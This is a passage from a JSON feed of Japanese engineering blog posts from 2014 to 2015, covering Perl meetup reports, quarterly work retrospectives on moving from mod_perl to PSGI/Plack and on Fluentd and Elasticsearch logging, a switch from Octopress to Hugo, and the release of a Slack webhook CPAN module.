に設定があるデーモンを自動起動したい - ふり返る暇なんて無いねElasticsearchを1.4以上に上げたらkibana3がElasticsearchにConnection Failedする際の対処 - ふり返る暇なんて無いねポエム縮退運用という考え方 - ふり返る暇なんて無いねあなたは嫌いですか。でも僕は好きです。 - ふり返る暇なんて無いね6月勉強会#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました - 目の前に僕らの道がある技術MySQLのLINEAR KEY パーティションでPKで検索しても遅い場合 - ふり返る暇なんて無いねPerlモジュールのバージョン比較したい - ふり返る暇なんて無いねポエム普段の行動がものをいう - ふり返る暇なんて無いね判断と判断の変更 - ふり返る暇なんて無いね感覚値はあくまで感覚値 - ふり返る暇なんて無いね次の四半期お仕事的にはもう一個の事業部のPSGI/Plack化と開発環境の改善をメインにやってくと思います。ここ最近ちょっといろいろ腹に貯めすぎなので、もう少し心にゆとりをもっていけたらなとは思いまする。","link":"https://blog.masasuzu.net/entry/2015/07/03/2015_2_retrospective","isoDate":"2015-07-03T00:00:00.000Z","dateMiliSeconds":1435881600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"他社の障害対応きにならNight! に行ってきた","contentSnippet":"エンジニア交流会〜他社の障害対応きにならNight!〜 on Zusaarwww.zusaar.com一昨日の話ですが、Gaiaxさんに行ってきました。内容に関してはけっこうグレーな感じなこともあるので、話せないのですが、あー、あるよねー。とか だいぶつらい。。。って話を聞けて楽しかったです。他山の石にしたいです。インシデント管理に関してはちょっと痛いところがあるので見直したいなと思いました。懇親会で深い話が聞けていろいろ学びがありました。すごい楽しかったので次回もあれば参加したいです。寿司 pic.twitter.com/RnLrH5mxlp— masasuzu? (@masasuz) June 30, 2015内容言えないけどすごい為になってる— masasuzu? (@masasuz) June 30, 2015だいぶつらい話聞いてるもの— masasuzu? (@masasuz) June 30, 2015炎上案件だ。。。— masasuzu? (@masasuz) June 30, 2015インシデント管理に関してはちょっと痛いところあるなと思った。— masasuzu? (@masasuz) June 30, 2015なかなかこういう他社の障害事例聞けないので、今日は楽しかった。— masasuzu? (@masasuz) June 30, 2015innodbのデータ圧縮すると並列性が犠牲になるってのは、初耳だったのでちゃんと調べたい。— masasuzu? (@masasuz) June 30, 2015","link":"https://blog.masasuzu.net/entry/2015/07/02/134402","isoDate":"2015-07-02T04:44:02.000Z","dateMiliSeconds":1435812242000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました","contentSnippet":"Gotanda.pm Perl Technology Conference #5 (2015/06/24 19:30〜)gotanda-pm.connpass.comGtanda.pmでLTしてきました。#gotandapm LTの高速化に失敗しました。— masasuzu? (@masasuz) June 24, 2015内容としてはPlack Applicationのアクセスログの話です。アクセスログそのものの話アクセスログの収集の話アクセスログの可視化/集計の話1個目の論点しか話せませんでした。猛省します。次回は事故らずに話したいです。最近Kibana4とElasticsearchを使っていてだいぶアクセスログに限らず ログ解析が捗っているので、その辺も別の機会に話せたらと思います。他の人の発表では、skajiさんの Acme::CPAN::Installerの発表がすごかったです。cpanモジュールをインストール出来るとこんなに速くなるのかと感心しました。業務で使いたいと思うくらいには速かったです。そのほかの人の発表も楽しく聞かせてもらいました。gotandapm参加者の皆さん！吉祥寺.pm4は、まだまだ参加者募集中です！https://t.co/JwGFxDOnXi#kichijojipm #gotandapm— magnoliak (@magnolia_k_) June 24, 2015どうやら吉祥寺.pm 来月開催らしいですよ。","link":"https://blog.masasuzu.net/entry/2015/06/25/184549","isoDate":"2015-06-25T09:45:49.000Z","dateMiliSeconds":1435225549000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GitHub Pages でいっつもハマるのでメモ","contentSnippet":"ブログを github pages に置くのはいいけど、blog の theme を変えた時に repo を一掃しちゃってその度に「あれ 404 のままやん」ってなってるので自分用のメモ。custom domain のファイルを作成し、repo に commit する。echo example.com > CNAME","link":"https://blog.jigyakkuma.org/2015/06/13/gh-pages-cname/","isoDate":"2015-06-12T16:06:27.000Z","dateMiliSeconds":1434125187000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#kichijojipm 吉祥寺.pm #3 に参加してきました。","contentSnippet":"吉祥寺.pm行ってきました。吉祥寺.pm (kichijojipm) #3 : ATNDatnd.org今回はツールチェインがテーマと言うことで、Minillaの話題が2件ほどあって、参考になりました。今回特によかったなと思ったのがpapixさんの新人研修の話でした。ガイアックスさんはここ二年くらいで新人研修を整備し始めたそうで、だいぶ充実した内容をやっていそうなので、こっそり参加したいです。#kichijojipm ガイアックスに新人研修受けに行きたい— masasuzu? (@masasuz) April 17, 2015話の中で研修資料をスライドじゃ無くてドキュメントとして残すってのが、印象に残ってます。OJTが基本なのですが、開発グループのエンジニアの有志が社内勉強会枠の時間*1で新人さんに最低限知っておいて欲しい技術基礎の勉強会を行っています。wikiに残しておいて、次年度使い回せるように + 中途の人が入ってきたときも一通り見れば分かるようにしてます。その辺、アプローチが似ているなと思います。さておき、今回も楽しかったです、上級者向けの話からperl少し書ける人でも役に立つ話まで聞けてレベル感的にも良い感じです。主催のmagnoliakさん、htk291さんありがとうございました。次回の吉祥寺.pm楽しみにしてます。吉祥寺.pm in 五反田楽しみにしてます!!!五反田で吉祥寺.pmとか。— 吉祥寺.pm (@kichijojipm) April 17, 2015参照吉祥寺.pm3終わりました - kichijojipm’s blogkichijojipm.hatenablog.com余談SSID: TMNetwork がいてふいた— masasuzu? (@masasuz) April 17, 2015*1:弊社、毎日終業定時前の1時間は勉強会の時間と会議室が確保されていて、好きにやって良いことになってる。もちろん毎日は開かれない","link":"https://blog.masasuzu.net/entry/2015/04/19/kichijoji.pm-3","isoDate":"2015-04-19T06:59:42.000Z","dateMiliSeconds":1429426782000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第一四半期をふりかえる","contentSnippet":"そろそろ3月も終わりそうなので、軽くまとめてみる。お仕事Slack連携ツール昨年末から1月にかけては、社内のチャットツールをIRCからSlackに移すためにもろもろの連携ツールを書いていました。WevService::Slack::IncomingWebHookはそういう事情で書いたコードです。WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです - 目の前には僕らの道があるmasasuzu.hatenablog.jp連携ツール自体は、Irisというプロジェクトコードで、HTTPでSlackへIncoming webhookを投げたり、SlackからOutgoing webhookを受けたりするProxy的なものです。コードは公開してないです。mod_perl to PSGI/Plack2月3月はmod_perlなプロジェクトをPSGI/Plack+Carton化をひたすらしていた感じです。このタスク自体は半期で終わらす予定なので、次の四半期も継続案件です。前回のGotanda.pmで話した件ですね。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道があるmasasuzu.hatenablog.jp書いた記事1月H2データベースの話はGitbucketのDBの調子が悪くていったんデータをダンプしてDBファイルを作り直さなきゃいけなかった時の話のハズ。2014年に使った技術 - 目の前には僕らの道があるsudo -Hと環境変数($PATH)ではまった話 - ふり返る暇なんて無いねH2データベースのダンプ、リストアをする - ふり返る暇なんて無いね#chibapm Chiba.pm #6 に参加してきた - 目の前には僕らの道がある2月tmuxでwindow番号を変更したい - ふり返る暇なんて無いねperl5.16から overloadが\\"overload arg \'\\"\' is invalid \\"みたいなwarningを吐き出した - ふり返る暇なんて無いね情報共有に関してもやもや思ってること - ふり返る暇なんて無いね3月3月はちょっと古めのコードをいろいろいじっててはまっていたらしいですね。Perl 5.18からsmart matchはexperimentalなので使わないで - ふり返る暇なんて無いねとあるプロジェクトのコードのあんちぱたーん - ふり返る暇なんて無いねDebian Packageのバージョンを比較したい。 - ふり返る暇なんて無いね開発二部でLTしてきた #でぶつー - 目の前には僕らの道があるFurl::S3でSSL接続エラーが出る件 - ふり返る暇なんて無いね#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道がある設定と処理をわけるということ - ふり返る暇なんて無いねUbuntu 12.04で/tmpがおかしくてうまく起動しなかった件 - ふり返る暇なんて無いね次の四半期お仕事的には引き続きmod_perlを無くしていく作業を続けていると思います。お仕事外で現状これといってやりたいことはないんですが、最近仕事外のコードをあまり書いてないので、その辺少し改善できたらなとは思いまする。","link":"https://blog.masasuzu.net/entry/2015/03/30/2015_1_retrospective","isoDate":"2015-03-30T01:00:00.000Z","dateMiliSeconds":1427677200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話","contentSnippet":"Gotanda.pm Perl Technology Conference #4 (2015/03/25 19:30〜)gotanda-pm.connpass.comだいぶ昔のmod_perlで動いているプロジェクトをPSGI/Plack化するために現在進行形で作業してるよという話です。直前に書き上げてリハーサル全くしないまま本番で話したので、全然時間が足りなかったです。#gotandapm つらいしか言わずに終わってしまった— masasuzu? (@masasuz) March 25, 2015さて、古いmod_perlなプロジェクトも新しめのプロジェクトと同じスキームに載せて動くように現在進行形で動いているところです。それはそれとして大人のGotanda.pmも面白そうですね。とはいえ、ソンナニ闇ハカカエテナイデスヨ。全然。大人のGotanda.pmとかやって, GXやMFのインフラ部署の人に闇語ってもらいたい #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015ちなみに、新しめのプロジェクトで使っているスキームはそういえば、Gotanda.pm #1で話したくらいに作っていたようです。#gotandapm Gotanda.pm Perl Technology Conference #1に参加した LTした - 目の前には僕らの道があるmasasuzu.hatenablog.jp会場をお貸しいただいたGaiaxさんありがとうございました。運営のみなさんもお疲れ様でした。ありがとうございました。Gotanda.pmお疲れ様でした. 会場やUstreamは如何でしたでしょうか. 今回のように, 弊社セミナールームは勉強会会場として貸し出す事も出来ますので, 使ってみたいという方は @__papix__ までご連絡下さい. #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015蛇足ですが、Gaiaxさんのすぐ近くの麺彩房の油そば好きです。五反田ぴーえむ pic.twitter.com/6UBO7Y6fDi— masasuzu? (@masasuz) March 25, 2015","link":"https://blog.masasuzu.net/entry/2015/03/26/gotanda.pm_4","isoDate":"2015-03-26T13:38:13.000Z","dateMiliSeconds":1427377093000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"開発二部でLTしてきた #でぶつー","contentSnippet":"開発二部という社内の部活でLTをしてきました。最近古めのプロジェクトを多少モダンにするタスクをしてるので、そのあたりで得た知見を書いてます。特に何かを批判したいわけではなく、こういうのはよくないから、新しいプロジェクトではこういうことは避けると幸せになりやすいよと言いたいだけです。よくないコードは直すだけです。ただdisって何もしないのはよくないですし、そういうことをしたいわけではないです。","link":"https://blog.masasuzu.net/entry/2015/03/17/220240","isoDate":"2015-03-17T13:02:40.000Z","dateMiliSeconds":1426597360000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"旅する勉強会 tech.kayac meetup #0 に登壇しました","contentSnippet":"皆様、いかがお過ごしでしょうか。そういえば先日こんな勉強会で登壇させていただく機会がございました。旅する勉強会 tech.kayac meetup #0まずは会場まで足を運んでいただきました来場者の方々に深くお礼申し上げます。普段、表立つことが少ない立ち位置なのですが、部署やジャンルをごちゃ混ぜでやるにあたって GoogleApps を取り上げてみてもいいのでは？ということで今回チャンスをいただきました。このテーマ、みんな興味もってくれる？会社の名前を背負った勉強会は集まる層がちょっと違う？せっかく足を運んでいただいたのにガッカリさせないか？など、企画時にお題は決めたものの内容で苦悩してました。そもそも勉強会って興味あるテーマ以外の話もけっこうある知らないジャンルだからこそためになる、知見が広がるセッション自体が面白いと満足度はあがると、お邪魔させていただいた勉強会を思い出してたら吹っ切れたので、要所にネタのエッセンスを入れつつ、楽しくトークさせていただきました。資料自体のサンプルが少ないというのもあるので、せめてデモをやって GoogleAppsScript の動作などを見ていただけたらよかったのですが、1 人でトークが弾んじゃってデモをする時間がなかったというのが心残りでした。あとはハッシュタグの Tweet でこの人何人殺してんだろw #techkayac— Daisuke Murase (@typester) February 25, 2015管理部門に優しくしないと殺られる、という知見が得られた #techkayac— Daisuke Murase (@typester) February 25, 2015と、誤解を招く内容がありましたが、私は至って温和です。安心してください、大丈夫ですので。最後に個人的な感想を述べさせていただくとやっぱり人前で話すのは刺激受けるし刺激を与えられるからいい社内外問わずわいわいやるの楽しい今後もわいわいしていきたいし、わいわいしてる人を増やしたいといったところでしょうか。せっかくやるからには楽しんでもらいたいし、気持ちよく終わりたい、というのは心がけたつもりなので次回以降もご参加いただける皆様に少しでもおもてなしできればと思います。以下当日の資料となります。セッションの内容はこれが全てではないですが、なんとなく雰囲気を感じていただければと思います。","link":"https://blog.jigyakkuma.org/2015/02/27/tabisuru00/","isoDate":"2015-02-27T14:18:50.000Z","dateMiliSeconds":1425046730000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"blog を octopress から Hugo に乗り換えたメモ","contentSnippet":"今まで blog は octopress で書いてたのですが、先日ひさしぶりに「おっしゃ！書くか！」ってなって octopress コマンド叩いたらエラー出てて「めんどくせええぇぇぇぇーーーー!!!1」ってなってたらdeeeetさんのOctopuses から Hugo へ移行したをナイスなタイミングで読んだので便乗して Hugo に乗り換えてみました。使い方はHugoのDocsに丁寧にかかれているのでオススメです。やったこととしては・ Theme の選定とカスタマイズTheme の選定hugoThemesに Theme が用意されている。Theme を作れるほどのスキルはなかったのでこの中からチョイスしてカスタマイズすることにしました。日に日に Theme が増えているようなのでこまめにチェックするといいかもしれないです。また、Theme の preview サイトが coming soon となっているので待ち遠しいですね。Theme のカスタマイズとりあえず Theme をいろいろ見てみてlanyonがよさげだったのでとりあえずこれをベースにカスタマイズしました。といっても sidebar の項目をメンテしたりsharebuttonを突っ込んだりしたくらいです。config.toml の作成Hugo はtomlが使えるということだったので config ファイルは toml にしてみました。参考までに使用している現在の config.toml は以下となります。contentdir = \\"content\\"layoutdir = \\"layouts\\"publishdir = \\"public\\"baseurl = \\"https://blog.jigyakkuma.org\\"[indexes] category = \\"categories\\" tag = \\"tags\\"[params] Title = \\"俺よりイケてないエンジニアはいない\\" description = \\"jigyakkuma\'s blog\\" DateForm = \\"Jan 02 , 2006\\" languageCode = \\"ja\\" countryCode = \\"ja\\"[permalinks] post = \\"/:year/:month/:day/:filename/\\"[params.Twitter] Account = \\"@jigyakkuma_\\" Url = \\"https://twitter.com/jigyakkuma_\\"[params.Github] Url = \\"https://github.com/jigyakkuma\\" UserName = \\"jigyakkuma\\"こんな感じでパラメータを定義しておいて{{ .Site.Params.Twitter.Account }}で layout 用の html に突っ込んどくと使えます。感想最初は便乗して乗り換えてみるか！くらいの感じでしたが、Hugo が Go で実装されているというところもあって Go の環境があれば go get してすぐに使い始められるのは個人的には楽でした。ディレクトリ構成もシンプルなのでわかりやすくて good。$ tree -L 1.├── archetypes├── config.toml├── content├── layouts├── public└── staticpublic 内のファイルをサーバに置けば(この blog は github pages)公開されますが、どこにどういう風に deploy するかでやり方が様々なので導入の際は事前に考えておいたほうがよさそうです。まだまだ発展途上で、どう進化していくのか楽しみなのでもう少し使い込んでみたいと思います。","link":"https://blog.jigyakkuma.org/2015/02/11/hugo/","isoDate":"2015-02-11T01:42:57.000Z","dateMiliSeconds":1423618977000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#chibapm Chiba.pm #6 に参加してきた","contentSnippet":"行ってきました。Chiba.pm #6 : ATNDChiba.pm #6 : ATNDCPAN Authorになったのでその辺の話をLTしてきました。前にエントリを書いた話です。Minilla便利でした。Chiba.pmなのにPerlの話をしてすみませんでした。。。。久しぶりのChiba.pm楽しかったです。マグロ美味しかったです。次回も楽しみです。過去のchiba.pm#chibapm Chiba.pm #5 でログ回りのことを聞きたかった - 目の前には僕らの道があるchiba.pm 2回目に行ってきた #chibapm - 目の前には僕らの道がある#chibapm #1に行ってきた。 - 目の前には僕らの道がある","link":"https://blog.masasuzu.net/entry/2015/01/28/chiba.pm_6","isoDate":"2015-01-28T09:15:39.000Z","dateMiliSeconds":1422436539000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014年に使った技術","contentSnippet":"ざっくりと去年使った技術をざっくりふりかえってみる。ホントにざっくりです。PSGI/Plack今働いている会社のwebサービスのバックエンドはperlで動いています。そしてそれらのアプリケーションはmod_perl上で動くようになっていました。*1があってそろそろmod_perl卒業したいよねと検証自体は重ねていたんですが、年初くらいに都合よくほかのサービスに影響を与えることのない小規模な新規プロジェクト*2を作ることになりました。もの自体は1週間くらいでくみ上げました。ここで組んだベースアーキテクチャが以降のPSGI/Plackのプロジェクトのベースになっています。Perl::Build / xbuildtagomoris/xbuild \xb7 GitHubPerl::Build - perl builder - metacpan.orgperlに依存するとディストリビューションやOSを変える度にperlのバージョンが変わっていろいろ面倒なので、PSGI/Plack化したプロジェクトではperlを独自にビルドするようにしてます。perl-buildでビルドしたperlをdebian package化して使っています。各サーバでperlをビルドするのは時間の無駄遣いなのでdebで配布します。CartonCarton - Perl module dependency manager (aka Bundler for Perl) - metacpan.orgsystem perlを使っていたときは、perl moduleもdebian packageで入れていたんですが、独自ビルドするようになったので、モジュール管理にcartonを使ってます。OrePAN2::ServerOrePAN2::Server - DarkPAN Server - metacpan.org基本社内モジュールは作らない/作らせない/CPANに上げやがれという方針ですが、どうしても外には出せない社内ロジックがあるのでそういうものを置く場所として使っています。UpstartUbuntuで動いているサービスのデーモン管理はupstartに基本任せています。設定ファイル書くの簡単で、癖がそんなにないので重宝しているんですが、なんか次のUbuntuからsystemdに移行するみたいな話があってだいぶ辛い予感がしてます。FluentdFluentdを全サーバに導入しました。今まで各サーバに入ってgrep/wc/sed/tailを駆使してログ解析していたアプリケーションログ(イベントログ)、アクセスログ、エラーログを1つの場所に集約できるようになってだいぶ捗ってます。アクセスログに関しては最終的にvhost毎と vhostとstatus code(4xx,5xxxのみ)毎にファイルを分けて出力するようにしてるので、アクセスログ解析が今までよりだいぶ捗るようになりました。だいぶライフチェンジングです。Elasticsearch / KibanaFluentd入れた時点でだいぶログ回りは快適になったんですが、それでも最終的なログのストア先はファイル*3なのでアプリから扱うには少し不便とか諸事情あったので、いろいろ検証した上でElasticsearchを入れました。GitBuckettakezoe/gitbucket \xb7 GitHubgitレポジトリへのアクセスは基本sshを使っていたんですが、開発者以外の企画者やデザイナもgitを使うようになってきて、いろいろアカウント管理の問題が出てきて素のままgit使うのはちょっと管理上つらいというのがきっかけでその辺解消するために導入したのがgithub cloneのGitBucketでした。レポジトリブラウザとしてよいのですが、歴史が深いレポジトリとかだとだいぶ重かったりするのが少し難点です。Slack試験導入中です。正直別にIRCでもよくね?感がまだあります。デフォルトでwebから見れるという点は便利なような気がしなくもないです。なんかほかにもやったような気がしますが、去年はざっくりこんなことしていたらしいです。*1:system perlにはもう依存したくないよねとかいろいろ。察してください*2:ちなみにStartDash(START:DASH!!)というプロジェクトコードを付けていた。察してください*3:一定ファイル容量でローテートされる。そしてgzip圧縮してるのとしてないの(バッファ)が混じってる","link":"https://blog.masasuzu.net/entry/2015/01/04/142926","isoDate":"2015-01-04T05:29:26.000Z","dateMiliSeconds":1420349366000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014年の自分が書いた技術エントリふりかえり","contentSnippet":"書いたエントリのリンクを貼り付けるだけの雑なふりかえりです。一応自分の技術ブログが2つあって、ここが勉強会のエントリや、わりかしまとまった技術に関して書くところ。もうひとつ(ふり返る暇なんて無いね)の方がゆるふわにメモやポエムを書いていく方。1月PERL_CARTON_MIRRORをOrePAN2::Serverに向けてcarton installすると怒られる - ふり返る暇なんて無いね2月この時期なにやっていたっけ?全く記憶に無い3月hostnameコマンドメモ - ふり返る暇なんて無いねfluent-plugin-forestを使いつつ、tag_partsが複数あるときにpathにtag_partsを含めたときに、same buffer_pathを使っていると怒られる。 - ふり返る暇なんて無いねエンジニアでもターミナル作業ログを残したい!! - 目の前には僕らの道がある4月プロセスが開いているファイルディスクリプタ数を知りたい - ふり返る暇なんて無いねプロセスがオープン可能なファイルディスクリプタを知りたい - ふり返る暇なんて無いねUbuntu12.04のapproxはinetd経由で立ち上がる件 - ふり返る暇なんて無いねLINE Developer Conference(テーマ：インフラ)にいってきたメモ - 目の前には僕らの道がある5月carton installするたびにcpanfile.snapshotが更新されるのがうざったい - ふり返る暇なんて無いね6月キャッシュ(しない)戦略 - ふり返る暇なんて無いね溜まるジョブキュー - ふり返る暇なんて無いねinnodb_log_file_sizeを気軽に変えると死ぬよ - ふり返る暇なんて無いね監視の閾値の考え方1 - ふり返る暇なんて無いねこのあたりはポエムを書きたいお年頃だったようだ。#五反田Perl でもくもくしてきた。perlのコードはほとんど書いてない。 - 目の前には僕らの道がある#gotandapm Gotanda.pm Perl Technology Conference #1に参加した LTした - 目の前には僕らの道がある五反田が熱くなり始めたのもこの頃。7月コマンドの出力結果の一時ファイルを作りたくなったら、プロセス置換を思い出すと良いかも知れない - ふり返る暇なんて無いね8月#でぶつー 五反田もくもく会 #1 に行ってきた - 目の前には僕らの道があるマニュアルオペレーションするとき気を付けたいこといくつか - ふり返る暇なんて無いね-で始まるファイルを消す方法 - ふり返る暇なんて無いねUbuntu 12.04でGitBucketを使うメモ - ふり返る暇なんて無いね#yapcasia YAPC::Asia前夜祭でインスピレーションを得てきた - ふり返る暇なんて無いね8月末はYAPC Asiaでした。今年もスタッフやってました。9月#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前には僕らの道がある#gotandago Gotanda.go #1 行ってきた - 目の前には僕らの道があるエイリアスを使わないでコマンド実行するいくつかの方法 - 目の前には僕らの道がある#gotandapm Gotanda.pm Perl Technology Conference #2 に行ってきた - 目の前には僕らの道があるgolangに興味を持ち始めたのはこの頃、来年こそはちゃんと使えるようにしたい。10月boot2dockerでexposeされるportはlocalhostのportじゃないよ - ふり返る暇なんて無いね#chibapm Chiba.pm #5 でログ回りのことを聞きたかった - 目の前には僕らの道があるこの時期、Elasticsearchまわりでいろいろはまってたはずなのに一切アウトプットが無いな。。。。11月不思議な時間にlogrotateしているその理由は。 - ふり返る暇なんて無いねconnectがhomebrewで入らなくなったので自前でビルドする - ふり返る暇なんて無いね#perlcasual PerlCasual #06 行ってきた(だいぶ昔の話 - 目の前には僕らの道がある#kichijojipm 吉祥寺.pm #1 に行ってきました (だいぶ昔の話 - 目の前には僕らの道がある12月WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです - 目の前には僕らの道があるねんがんのCPAN Authorになったぞ!こう見てみると、今年もアウトプット量が足りないなという印象。実際業務でいろいろはまっていたはずなのに、そのことがまったく書かれてないので、もう少しメモ書きレベルでもいいので残していきたい。というのが来年の課題。ソースコードでのアウトプットももっとがんばらないと。良いお年をー。","link":"https://blog.masasuzu.net/entry/2014/12/29/2014_retrospective","isoDate":"2014-12-29T07:27:23.000Z","dateMiliSeconds":1419838043000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです","contentSnippet":"WebService-Slack-IncomingWebHook-0.01 - slack incoming webhook client - metacpan.orgWebService-Slack-IncomingWebHook-0.01 - slack incoming webhook client - metacpan.orgはい。Web Hookを使ってSlackに投稿をポストしてくれる君です。post-slackというコマンドを同梱していてコマンドラインからも使えるようになってます。当初Net::Slackという名前を使っていたんですが、どうやらNetという名前空間はネットワークプロトコルを喋るモジュールが使うところで、webサービスのAPIを叩くようなものはWWWかWebServiceを使うらしいので、避けました。また、Slack APIが別にあるので、Slack単体名だとSlack API叩くように誤解されるのでさらに一段名前空間を斬ってます。スクレイピングしてる系という印象[要出典]があったので。WWWは避けた。参考: PAUSE: pause_namingmodules Netの項目そんな感じで CPAN おーさーとやらになったようです。CPANにあったので自分でモジュールを書く機会がなかなかなかったのですが、都合よく必要となってかつ誰も書いてなさそうという機会に今回恵まれました。Acmeモジュールはいくつか書いていたけど、それでCPAN Authorになるのはちょっと厭だと思って居た。初uploadなので粗があったらツッコミがあると幸いです。","link":"https://blog.masasuzu.net/entry/2014/12/26/183818","isoDate":"2014-12-26T09:38:18.000Z","dateMiliSeconds":1419586698000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pm #1 に行ってきました (だいぶ昔の話","contentSnippet":"吉祥寺.pm (kichijojipm) #1 : ATND吉祥寺とは縁もゆかりもないのですが、pmが近めの場所でやっているということで、お邪魔してきました。懇親会は結局2次会、3次会まで行ってオールになってしましました。perlの事情をいろいろ聞けて楽しかったです。吉祥寺良いところでしたので、次回あれば参加したいです。","link":"https://blog.masasuzu.net/entry/2014/11/15/001845","isoDate":"2014-11-14T15:18:45.000Z","dateMiliSeconds":1415978325000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#perlcasual PerlCasual #06 行ってきた(だいぶ昔の話","contentSnippet":"perlcasual #06行ってきました。PerlCasual #06 : ATNDだいぶ昔の話です。hogecasualと名のつく勉強会はだいたいカジュアルじゃ無いんですが(感覚値)、今回はだいぶカジュアルな感じだったと思います。perlのコマンドラインtipsがとてもよかったです。基礎的な部分でも意外にに知らない部分が多くて勉強なりました。懇親会ではperlの会話をあまりしてなかった気がしました。カジュアルですね。さて、カジュアル。perlをばりばりやっている人にとってカジュアルなのか。perl初心者にとってカジュアルなのか。他言語の人に対してカジュアルなのか。いろいろあると思います。その辺のターゲットは主催者のさじ加減だと思います。ところで、pelrcasualはperlをカジュアルに楽しむ初心者向け となってます。ただ、内容としてはカジュアルだとは思いますが、本当の初心者にはついてこれるのかなという感じはしました。本当に本当の初心者はperl入学式が引受先なのかなという感じがします。なんとなくカジュアルの意味するところは(初)中級者くらいのレベル感なのかなと。そう考えると(Perl Beginnersは参加したことが無いので本当のレベル感が分からないのですが)、Perl初学者が以下のようにステップアップしていけるとperlの裾野が広がっていっていいのかなーとか思いました。主催者はそんな意図では無いかもですが。Perl入学式 => (Perl Beginners) => PerlCasualって、なんか本題と関係ない方向に行ってしまった。","link":"https://blog.masasuzu.net/entry/2014/11/14/000000","isoDate":"2014-11-13T15:00:00.000Z","dateMiliSeconds":1415890800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#chibapm Chiba.pm #5 でログ回りのことを聞きたかった","contentSnippet":"だいぶ昔の話ですが、chiba.pm #5でこんなLTしてきました。Chiba.pm #5 : ATND今の会社ではこんな感じでログ収集していて、こんなログ監視してるけど、他のところではどんなことしてるの?的な発表でした。現状は各webサーバのアクセスログをfluentdで収集して、ログサーバでファイルに吐かれたログを解析して、vhost,path,status(401,404,500)毎に閾値が以上のアクセスが来ているモノに関してアラートを上げるようにしてます。スクリプトでログ解析していたものが、Aggregationsでだいぶ楽に出来そうな目処が出来てる感じです。この辺別の機会にエントリ書きたいです。ともあれ、このくらいの規模の勉強会が個人的には楽しいです。次回も参加したいです。","link":"https://blog.masasuzu.net/entry/2014/10/27/chiba.pm_5","isoDate":"2014-10-27T10:49:56.000Z","dateMiliSeconds":1414406996000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"YAPC::Asia 2014 1 日目の感想","contentSnippet":"謝辞まず初めに YAPC::Asia 2014 に参加させていただきましてありがとうございました。また、このイベントに関わった運営スタッフ個人・企業スポンサースピーカー会場をお貸しいただきました慶応義塾大学 日吉キャンパスの皆様に厚く御礼申し上げます。初めて YAPC に参加して思ったこと近年は言語の壁を超えてたくさんのエンジニアが集まる YAPC、その噂以上に熱気と勢いに翻弄されっぱなしでした。あとはインターネットではよくお見かけするエンジニアの方も実物がわからずにお名前を伺って初めて「あぁ、あの方か！！」となることがあって失礼な場面も少なからずあったなという反省はありました。よかったところたくさんの運営スタッフの方のおかげで存分に YAPC を楽しめたところ。あとはスポンサー様による無限コーヒーや懇親会、HUB のビール 1,000 杯提供など、人が集まる仕掛けがたくさんあったこと。人の温かみを感じるイベントは意外と少ないと私は思っているので、感謝の限りでしたし、エンジニアから愛されている意味がとてもよく伝わってきました。気になったところセッションによっては人が集中してしまって多目的教室のキャパシティを超えてしまっていたので落ち着いて聞くことができなかったのは少し残念でした。セッションについてお世辞抜きにどのセッションも見応えがあって大満足でした。普段聞くことのないエンジニアの想いや考え方、実例から伺える努力や苦悩の裏側など、人とエンジニアリングの関わりみたいなところに特に面白さを感じました。スピリチュアルな話とかけっこう好きなので、そっちよりのセッションを割と聞いてました。YAPC を通じて感じたこと人とのつながりは自身を成長させてくれる人が成長する上で、たくさんのことを知る、というのはとても重要なものだと思います。中でもその人が経験してきた体験談というのは情報として価値のあるものであるし、そんな体験談を聞くことができる機会というのは自分も周りも一緒に成長していくことができる貴重な時間であるということ。せっかくの貴重な機会を無駄にしない普段知り合う機会のないインターネット上の有名な方々にお会いするまたとないチャンス。それにたくさんの人と話す機会自体もそんなにないので積極的に絡むべきだし、そういった意味で懇親会は非常によかったです。モチベーションがあがるやはり周りからの刺激は自身の気持ちを高ぶらせてくれます。人によって差はあると思いますが、モチベーションを１人で維持・向上させるというのは難しいので、YAPC のような規模の大きいお祭りに参加するというのはエンジニアとして必要なことであると捉えてます。最後に今回は一般チケットでの参加でしたが、4,000 円でありあまるほどの価値があったと思っています。次回は是非とも個人スポンサーとして参加させていただければと思います。こうやってエンジニアが集まるお祭りもそうはないので、いちエンジニアとして YAPC を大切にしていければと思います。あとは諸事情により 2 日目に参加できなかったので来年こそは全日程に参加したいですね！！","link":"https://blog.jigyakkuma.org/2014/08/31/yapc-asia2014/","isoDate":"2014-08-31T00:00:00.000Z","dateMiliSeconds":1409443200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GooglePlay Developer のアカウント移行時にハマったのでメモ","contentSnippet":"先日、iOS と Android のアプリを別のアカウントに移行する作業をしてました。Android はどうかというと、アプリ移行申請ページなるものから申請を行い、GooglePlay Developer Support 